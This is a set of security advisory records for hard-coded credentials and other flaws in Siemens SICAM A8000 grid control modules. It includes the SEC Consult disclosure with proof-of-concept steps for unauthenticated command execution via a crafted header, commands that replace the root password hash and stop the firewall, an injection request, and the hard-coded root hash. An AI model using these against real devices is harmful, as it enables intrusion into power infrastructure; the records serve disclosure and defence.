{
  "affected": [],
  "aliases": [
    "CVE-2023-33920"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-798"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-06-13T09:15:18Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability has been identified in CP-8031 MASTER MODULE (All versions \u003c CPCI85 V05), CP-8050 MASTER MODULE (All versions \u003c CPCI85 V05). The affected devices contain the hash of the root password in a hard-coded form, which could be exploited for UART console login to the device. An attacker with direct physical access could exploit this vulnerability.",
  "id": "GHSA-mqj9-w9ch-6xmr",
  "modified": "2024-04-04T04:46:05Z",
  "published": "2023-06-13T09:30:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-33920"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/pdf/ssa-731916.pdf"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/173370/Siemens-A8000-CP-8050-CP-8031-Code-Execution-Command-Injection.html"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2023/Jul/14"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "document": {
    "acknowledgments": [
      {
        "organization": "Siemens ProductCERT",
        "summary": "reporting these vulnerabilities to CISA."
      }
    ],
    "category": "csaf_security_advisory",
    "csaf_version": "2.0",
    "distribution": {
      "text": "Disclosure is not limited",
      "tlp": {
        "label": "WHITE",
        "url": "https://us-cert.cisa.gov/tlp/"
      }
    },
    "lang": "en",
    "notes": [
      {
        "category": "general",
        "text": "This CSAF advisory was extracted from unstructured data and may contain inaccuracies. If you notice any errors, please reach out to the designated contact at CISA CSAF: central@cisa.dhs.gov",
        "title": "CISA Disclaimer"
      },
      {
        "category": "summary",
        "text": "The CPCI85 firmware of SICAM A8000 CP-8031 and CP-8050 is affected by multiple vulnerabilities such as authenticated remote command injection, exposure of serial UART interface, and hard coded credentials (for UART login). \n\nSiemens has released updates for the affected products and recommends to update to the latest versions.",
        "title": "Summary"
      },
      {
        "category": "general",
        "text": "Operators of critical power systems (e.g. TSOs or DSOs) worldwide are usually required by regulations to build resilience into the power grids by applying multi-level redundant secondary protection schemes. It is therefore recommended that the operators check whether appropriate resilient protection measures are in place. The risk of cyber incidents impacting the grid\u0027s reliability can thus be minimized by virtue of the grid design.\nSiemens strongly recommends applying the provided security updates using the corresponding tooling and documented procedures made available with the product. If supported by the product, an automated means to apply the security updates across multiple product instances may be used. Siemens strongly recommends prior validation of any security update before being applied, and supervision by trained staff of the update process in the target environment. \nAs a general security measure Siemens strongly recommends to protect network access with appropriate mechanisms (e.g. firewalls, segmentation, VPN). It is advised to configure the environment according to our operational guidelines in order to run the devices in a protected IT environment.\n\nRecommended security guidelines can be found at:\n\nhttps://www.siemens.com/gridsecurity",
        "title": "General Recommendations"
      },
      {
        "category": "general",
        "text": "For further inquiries on security vulnerabilities in Siemens products and solutions, please contact the Siemens ProductCERT: https://www.siemens.com/cert/advisories",
        "title": "Additional Resources"
      },
      {
        "category": "legal_disclaimer",
        "text": "Siemens Security Advisories are subject to the terms and conditions contained in Siemens\u0027 underlying license terms or other applicable agreements previously agreed to with Siemens (hereinafter \"License Terms\"). To the extent applicable to information, software or documentation made available in or through a Siemens Security Advisory, the Terms of Use of Siemens\u0027 Global Website (https://www.siemens.com/terms_of_use, hereinafter \"Terms of Use\"), in particular Sections 8-10 of the Terms of Use, shall apply additionally. In case of conflicts, the License Terms shall prevail over the Terms of Use.",
        "title": "Terms of Use"
      },
      {
        "category": "legal_disclaimer",
        "text": "All information products included in https://us-cert.cisa.gov/ics are provided \"as is\" for informational purposes only. The Department of Homeland Security (DHS) does not provide any warranties of any kind regarding any information contained within. DHS does not endorse any commercial product or service, referenced in this product or otherwise. Further dissemination of this product is governed by the Traffic Light Protocol (TLP) marking in the header. For more information about TLP, see https://us-cert.cisa.gov/tlp/.",
        "title": "Legal Notice"
      },
      {
        "category": "other",
        "text": "This CISA CSAF advisory was converted from Siemens ProductCERT\u0027s CSAF advisory.",
        "title": "Advisory Conversion Disclaimer"
      },
      {
        "category": "other",
        "text": "Multiple",
        "title": "Critical infrastructure sectors"
      },
      {
        "category": "other",
        "text": "Worldwide",
        "title": "Countries/areas deployed"
      },
      {
        "category": "other",
        "text": "Germany",
        "title": "Company headquarters location"
      },
      {
        "category": "general",
        "text": "CISA recommends users take defensive measures to minimize the exploitation risk of this vulnerability.",
        "title": "Recommended Practices"
      },
      {
        "category": "general",
        "text": "Minimizing network exposure for all control system devices and/or systems, ensuring they are not accessible from the internet.",
        "title": "Recommended Practices"
      },
      {
        "category": "general",
        "text": "Locating control system networks and remote devices behind firewalls and isolating them from business networks.",
        "title": "Recommended Practices"
      },
      {
        "category": "general",
        "text": "When remote access is required, using more secure methods, such as Virtual Private Networks (VPNs). Recognize VPNs may have vulnerabilities, should be updated to the most recent version available, and are only as secure as the connected devices.",
        "title": "Recommended Practices"
      },
      {
        "category": "general",
        "text": "CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.",
        "title": "Recommended Practices"
      },
      {
        "category": "general",
        "text": "CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.",
        "title": "Recommended Practices"
      },
      {
        "category": "general",
        "text": "CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets. Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.",
        "title": "Recommended Practices"
      },
      {
        "category": "general",
        "text": "Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.",
        "title": "Recommended Practices"
      },
      {
        "category": "other",
        "text": "\u200bNo known public exploits specifically target these vulnerabilities.",
        "title": "Exploitability"
      }
    ],
    "publisher": {
      "category": "other",
      "contact_details": "Email: CISAservicedesk@cisa.dhs.gov;\n Toll Free: 1-888-282-0870",
      "name": "CISA",
      "namespace": "https://www.cisa.gov/"
    },
    "references": [
      {
        "category": "self",
        "summary": "SSA-731916: Multiple Vulnerabilities in CPCI85 Firmware of SICAM A8000 Devices - CSAF Version",
        "url": "https://cert-portal.siemens.com/productcert/csaf/ssa-731916.json"
      },
      {
        "category": "self",
        "summary": "ICS Advisory ICSA-23-166-13 JSON",
        "url": "https://raw.githubusercontent.com/cisagov/CSAF/develop/csaf_files/OT/white/2023/icsa-23-166-13.json"
      },
      {
        "category": "self",
        "summary": "SSA-731916: Multiple Vulnerabilities in CPCI85 Firmware of SICAM A8000 Devices - HTML Version",
        "url": "https://cert-portal.siemens.com/productcert/html/ssa-731916.html"
      },
      {
        "category": "self",
        "summary": "SSA-731916: Multiple Vulnerabilities in CPCI85 Firmware of SICAM A8000 Devices - PDF Version",
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      },
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        "category": "self",
        "summary": "SSA-731916: Multiple Vulnerabilities in CPCI85 Firmware of SICAM A8000 Devices - TXT Version",
        "url": "https://cert-portal.siemens.com/productcert/txt/ssa-731916.txt"
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        "category": "self",
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        "url": "https://www.cisa.gov/news-events/ics-advisories/icsa-23-166-13"
      },
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        "summary": "Recommended Practices",
        "url": "https://www.cisa.gov/uscert/ics/alerts/ICS-ALERT-10-301-01"
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        "summary": "Recommended Practices",
        "url": "https://us-cert.cisa.gov/sites/default/files/recommended_practices/NCCIC_ICS-CERT_Defense_in_Depth_2016_S508C.pdf"
      },
      {
        "category": "external",
        "summary": "Recommended Practices",
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      },
      {
        "category": "external",
        "summary": "Recommended Practices",
        "url": "https://www.cisa.gov/uscert/ics/tips/ICS-TIP-12-146-01B"
      }
    ],
    "title": "Siemens SICAM A8000 Devices",
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          "title": "Summary"
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          "text": "The affected devices contain the hash of the root password in a hard-coded form, which could be exploited for UART console login to the device. An attacker with direct physical access could exploit this vulnerability.",
          "title": "Summary"
        }
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      "cwe": {
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        "name": "Exposed Dangerous Method or Function"
      },
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          "text": "The affected devices contain an exposed UART console login interface. An attacker with direct physical access could try to bruteforce or crack the root password to login to the device.",
          "title": "Summary"
        }
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            "vectorString": "CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:P/RL:O/RC:C",
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    "data": "A vulnerability has been identified in CP-8031 MASTER MODULE (All versions \u003c CPCI85 V05), CP-8050 MASTER MODULE (All versions \u003c CPCI85 V05). The affected devices contain the hash of the root password in a hard-coded form, which could be exploited for UART console login to the device. An attacker with direct physical access could exploit this vulnerability. The SICAM A8000 RTUs (Remote Terminal Units) series is a series of modular devices for remote control and automation applications in all areas of energy supply. SEC Consult Vulnerability Lab Security Advisory \u003c 20230703-0 \u003e\n=======================================================================\n               title: Multiple Vulnerabilities including Unauthenticated RCE\n             product: Siemens A8000 CP-8050 MASTER MODULE (6MF2805-0AA00)\n                      Siemens A8000 CP-8031 MASTER MODULE (6MF2803-1AA00)\n  vulnerable version: \u003c= V04.92\n       fixed version: CPCI85 V05\n          CVE number: CVE-2023-28489, CVE-2023-33919, CVE-2023-33920,\n                      CVE-2023-33921\n              impact: Critical\n            homepage: https://www.siemens.com\n               found: 2023-02-15\n                  by: Stefan Viehb\u00f6ck (Office Vienna)\n                      Christian Hager (Office Vienna)\n                      Steffen Robertz (Office Vienna)\n                      Gerhard Hechenberger (Office Vienna)\n                      Gorazd Jank (Office Vienna)\n                      Constantin Schieber-Knoebl (Office Vienna)\n                      SEC Consult Vulnerability Lab\n\n                      An integrated part of SEC Consult, an Eviden business\n                      Europe | Asia\n\n                      https://www.sec-consult.com\n\n=======================================================================\n\nVendor description:\n-------------------\n\"We are a technology company focused on industry, infrastructure,\ntransport, and healthcare. From more resource-efficient factories,\nresilient supply chains, and smarter buildings and grids, to cleaner\nand more comfortable transportation as well as advanced healthcare,\nwe create technology with purpose adding real value for customers.\"\n\nSource: https://new.siemens.com/global/en/company/about.html\n\n\nBusiness recommendation:\n------------------------\nThe vendor provides a patch which should be installed immediately. \nCustomers should update to CPCI85 V05 or later version. \n(https://support.industry.siemens.com/cs/ww/en/view/109804985/)\n\nSEC Consult highly recommends to perform a thorough security review of\nthe product conducted by security professionals to identify and resolve\npotential further security issues. \n\n\nVulnerability overview/description:\n-----------------------------------\n1) Unauthenticated Remote Code Execution (CVE-2023-28489)\nBy sending an HTTP request with a crafted header to port 80/443 of\nthe PLC, arbitrary commands can be executed as system user. The port\nis used to configure and control Siemens PLCs with the Siemens\nToolbox II application and is typically accessible on such devices. \n\n2) Authenticated Command Injection (CVE-2023-33919)\nDue to missing server-side input sanitation, any user with access to\nthe SICAM WEB interface can execute arbitrary commands as user \"root\"\non the device. This works by setting malicious parameters and starting\nan Ethernet package capture. This\npassword hash is the same on all devices. If the corresponding\npassword is known, it could be used to login via UART and SSH. \n\n4) Console Login via UART (CVE-2023-33921)\nThe UART interface can be accessed with physical access to the PCB. \nAfter connecting to the interface, boot information is given and a\nlogin prompt is provided. \n\n\nProof of concept:\n-----------------\n1) Unauthenticated Remote Code Execution (CVE-2023-28489)\nTo exploit this vulnerability, an HTTP request including the command\nmust be crafted. No \"/\" characters can be used, therefore commands\nare encoded as base64, e.g., \"id\" as \"aWQ=\". The command must be\nprovided as UPLOADFILENAME header. A full command looks as follows:\n\n;echo aWQ=| base64 -d | sh #\n\nThe following header format must be obeyed:\n* User-Agent: SICAM TOOLBOX II\n* Session-ID: [ARBITRARY 16 CHARACTERS]\n* UPLOADFILENAME: [COMMAND]\n\nAdditionally, the request body must contain the following POST parameters:\n* type=20\n* length=[ARBITRARY]\n* data=[ARBITRARY]\n\nA valid request can be seen below:\n-----------------------------------------------------------------------\n[ POC request removed ]\n-----------------------------------------------------------------------\n\nIf it worked, the response body will be \"type=21\". Additionally, the\noutput on the UART interface indicates code execution as root user:\n-----------------------------------------------------------------------\nbase64: /ies/IN/_: No such file or directory\nuid=0(root) gid=0(root)\n-----------------------------------------------------------------------\n\nSubsequently, the SSH port can be opened by sending the following\ncommands separately and encoded as base64 string. They will replace\nthe set default root password hash with an empty password hash,\nreconfigure the Dropbear SSH daemon and stop the firewall:\n-----------------------------------------------------------------------\nsed -i\ns\u0027/:$6$jNY7stPOMCNi$bMqOCQX0ClFK3PyNPUyDvuF2xKOJ8j00v79.wXGV0BG7cxKc8aCo\\/FWtDljQjCbm6JnZqxiMg\nre5P14Kv2zAH1:/:32BZgrJ3XBMoY:/\u0027 /etc/shadow\nsed -i s\u0027/\"$DROPBEAR_ARGS -R -s -g\"/\"$DROPBEAR_ARGS -R\"/\u0027 /etc/init.d/dropbear\n/etc/init.d/dropbear restart\n/etc/init.d/rc.firewall stop\n-----------------------------------------------------------------------\n\nAfter this, login via SSH as root is possible:\n-----------------------------------------------------------------------\nssh root@[IP]\nroot@[IP]\u0027s password:\n~# id\nuid=0(root) gid=0(root) groups=0(root),10(wheel)\n~#\n-----------------------------------------------------------------------\n\n\n2) Authenticated Command Injection (CVE-2023-33919)\nTo trigger the command injection vulnerability, the payload must be set in\nthe \"LAN port group\" field on the SICAM WEB page \"Monitoring \u0026 Simulation\"\n-\u003e \"Ethernet Packet Capture\" section \"Capture configuration\"\n(other fields may also be affected). \nAs the web interface only provides a drop-down menu, the payload must\nbe set by manipulating the JavaScript logic or by directly manipulating\nthe HTTP request as below, where \"ping [IP]\\nBBBBBBB\" was set:\n\n-----------------------------------------------------------------------\nPOST /sicweb-ajax/rtum85/cview HTTP/1.1\nHost: [HOST]\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0\nAccept: */*\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nContent-Type: application/xml\nSICWEB-SID: xNG1v825qFmCMo8hpjfISlVARKipW1B+lz9d5FoBxipR87VT\nContent-Length: 198\nOrigin: http://[HOST]\nConnection: close\nReferer: http://[HOST]/\n\n\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\n\u003cCmd_SetCustomViewValue\u003e\u003cview id=\"packet_capture\"\u003e\u003cparameter id=\"p0\"\u003e\n\u003cvalue\u003e\nping [IP]\nBBBBBBB\u003c/value\u003e\n\u003c/parameter\u003e\u003c/view\u003e\u003c/Cmd_SetCustomViewValue\u003e\n-----------------------------------------------------------------------\n\nThe line break in the payload is especially important, as the command is\nexecuted as part of a shell script. \nThis script is generated and executed by pressing the \"Start/Stop trace\"\nbutton in the \"Capture Controlling\" section and saved as\n/tmp/incws_tcpdump.sh. An excerpt with the injected command is shown\nbelow:\n\n-----------------------------------------------------------------------\n[...] # lets start tcpdump\ntcpdump -i\nping [IP] BBBBBBB \u0027(ether host 00:11:11:33:44:00) and (host 1.1.1.2 or host 2.2.2.34) and (port 999)\u0027 -C 1 -W 4 -U -w /var/log/wireshark.pcap \u0026\n[...]\n-----------------------------------------------------------------------\n\nThe executed script creates a process running as root user, which can\nbe seen by running \"ps\" on the device:\n\n-----------------------------------------------------------------------\nroot        1100  0.0  0.1   1784  1168 ?        S    Feb21   0:00 /bin/sh /etc/init.d/rc.sysinit\nroot        1149  0.1  0.3  11768  1748 ?        S1   Feb21   6:03  \\_ /ies/apps/system/bin/ISV00.elf /ies/apps/sys_desc/target_rc.json\n[...]\nwww-data    1487  0.0  0.6   7568  3444 ?        S    Feb21   0:40      \\_ /usr/sbin/lighttpd -Df /etc/lighttpd/lighttpd.conf\nroot       10655  0.0  0.2   1880  1344 ?        S    04:55   0:00      \\_ /bin/sh /tmp/incws_tcpdump.sh\nroot       10667  0.0  0.2   1884  1360 ?        S    04:57   0:00          \\_ ping [IP]\n-----------------------------------------------------------------------\n\n\n3) Hard-coded Root Password (CVE-2023-33920)\nA hard-coded \"root\" user password hash can be found in the /etc/shadow\nfile:\n-----------------------------------------------------------------------\nroot:$6$jNY7stPOMCNi$bMqOCQX0ClFK3PyNPUyDvuF2xKOJ8j00v79.wXGV0BG7cxKc8aCo/FWtDljQjCbm6JnZqxiMg\nre5P14Kv2zAH1:16436:0:99999:7:::\n-----------------------------------------------------------------------\n\n\n4) Console Login via UART (CVE-2023-33921)\nThe serial console (UART) can be accessed on the backside of the PCB\non two Vias. After removing an additional logic IC, receiving data and\nsending data is possible with the following UART settings:\n* Voltage: 3.3V\n* Speed: 115200 Baud\n* Symbol-ratio: 8 Data Bits 1 Stop Bit (8N1)\nExtensive boot log output can be received. Some output is shown below:\n-----------------------------------------------------------------------\nU-Boot SPL 2013.01.01 (Jan 16 2020 - 12:56:02)\nBOARD : Altera SOCFPGA Cyclone V Board\nCLOCK: EOSC1 clock 50000 KHz\n[...]\nStarting IES system\n-----------------------------------\nWelcome to SICAM IES\n-----------------------------------\n\nWelcome to\n      _______. __    ______     ___      .___  ___. \n\n\nVulnerable / tested versions:\n-----------------------------\nThe following product has been tested:\n* Siemens A8000 CP-8050 04.92\n* Siemens A8000 CP-8031 04.92\n\n\nVendor contact timeline:\n------------------------\n2023-03-14: Contacting vendor through productcert@siemens.com, sending\n             encrypted advisory\n2023-03-29: Naming researchers involved\n2023-03-31: Requesting state. Vulnerability 1 will be published first\n             due to criticality. Rest will follow. \n2023-04-11: Siemens releases advisory for unauthenticated RCE\n             (Vulnerability 1, CVE-2023-28489)\n2023-06-13: Siemens releases advisory for vulnerability 2, 3 and 4\n             (CVE-2023-33919, CVE-2023-33920, CVE-2023-33921)\n2023-06-21: Siemens has additional feedback regarding the contents of the\n             advisory. \n2023-07-03: Release of security advisory. \n\n\nSolution:\n---------\nUpdate to firmware CPCI85 V05 or later version, see vendor advisory\nfor further information:\nhttps://cert-portal.siemens.com/productcert/html/ssa-472454.html\nhttps://cert-portal.siemens.com/productcert/html/ssa-731916.html\n\n\nWorkaround:\n-----------\nRestrict network access to the A8000 CP-8050/CP8031 module or disable the\nToolbox II communication on port 80/443. Make sure to strictly limit\nphysical access to the PLC during and also after its life cycle. \n\n\nAdvisory URL:\n-------------\nhttps://sec-consult.com/vulnerability-lab/\n\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSEC Consult Vulnerability Lab\nAn integrated part of SEC Consult, an Eviden business\nEurope | Asia\n\nAbout SEC Consult Vulnerability Lab\nThe SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an\nEviden business. It ensures the continued knowledge gain of SEC Consult in the\nfield of network and application security to stay ahead of the attacker. The\nSEC Consult Vulnerability Lab supports high-quality penetration testing and\nthe evaluation of new offensive and defensive technologies for our customers. \nHence our customers obtain the most current information about vulnerabilities\nand valid recommendation about the risk profile of new technologies. \n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nInterested to work with the experts of SEC Consult?\nSend us your application https://sec-consult.com/career/\n\nInterested in improving your cyber security with the experts of SEC Consult?\nContact our local offices https://sec-consult.com/contact/\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nMail: security-research at sec-consult dot com\nWeb: https://www.sec-consult.com\nBlog: http://blog.sec-consult.com\nTwitter: https://twitter.com/sec_consult\n\nEOF Stefan Viehb\u00f6ck, Christian Hager, Steffen Robertz, Gerhard Hechenberger,\nGorazd Jank, Constantin Schieber-Knoebl / @2023\n\n",
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{
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        "category": "legal_disclaimer",
        "text": "Das BSI ist als Anbieter f\u00fcr die eigenen, zur Nutzung bereitgestellten Inhalte nach den allgemeinen Gesetzen verantwortlich. Nutzerinnen und Nutzer sind jedoch daf\u00fcr verantwortlich, die Verwendung und/oder die Umsetzung der mit den Inhalten bereitgestellten Informationen sorgf\u00e4ltig im Einzelfall zu pr\u00fcfen."
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      "status": "final",
      "version": "1"
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        "name": "Siemens"
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          "category": "description",
          "text": "In Siemens SICAM existieren mehrere Schwachstellen. Der Fehler besteht in der Verwendung eines fest kodierten Berechtigungsnachweises und in der Offenlegung einer gef\u00e4hrlichen Funktion. Ein physischer Angreifer kann diese Schwachstellen ausnutzen, um die Sicherheitsma\u00dfnahmen zu umgehen."
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      "release_date": "2023-06-12T22:00:00Z",
      "title": "CVE-2023-33921"
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    {
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          "text": "In Siemens SICAM existieren mehrere Schwachstellen. Der Fehler besteht in der Verwendung eines fest kodierten Berechtigungsnachweises und in der Offenlegung einer gef\u00e4hrlichen Funktion. Ein physischer Angreifer kann diese Schwachstellen ausnutzen, um die Sicherheitsma\u00dfnahmen zu umgehen."
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      "title": "CVE-2023-33920"
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          "category": "description",
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        }
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      "release_date": "2023-06-12T22:00:00Z",
      "title": "CVE-2023-33919"
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}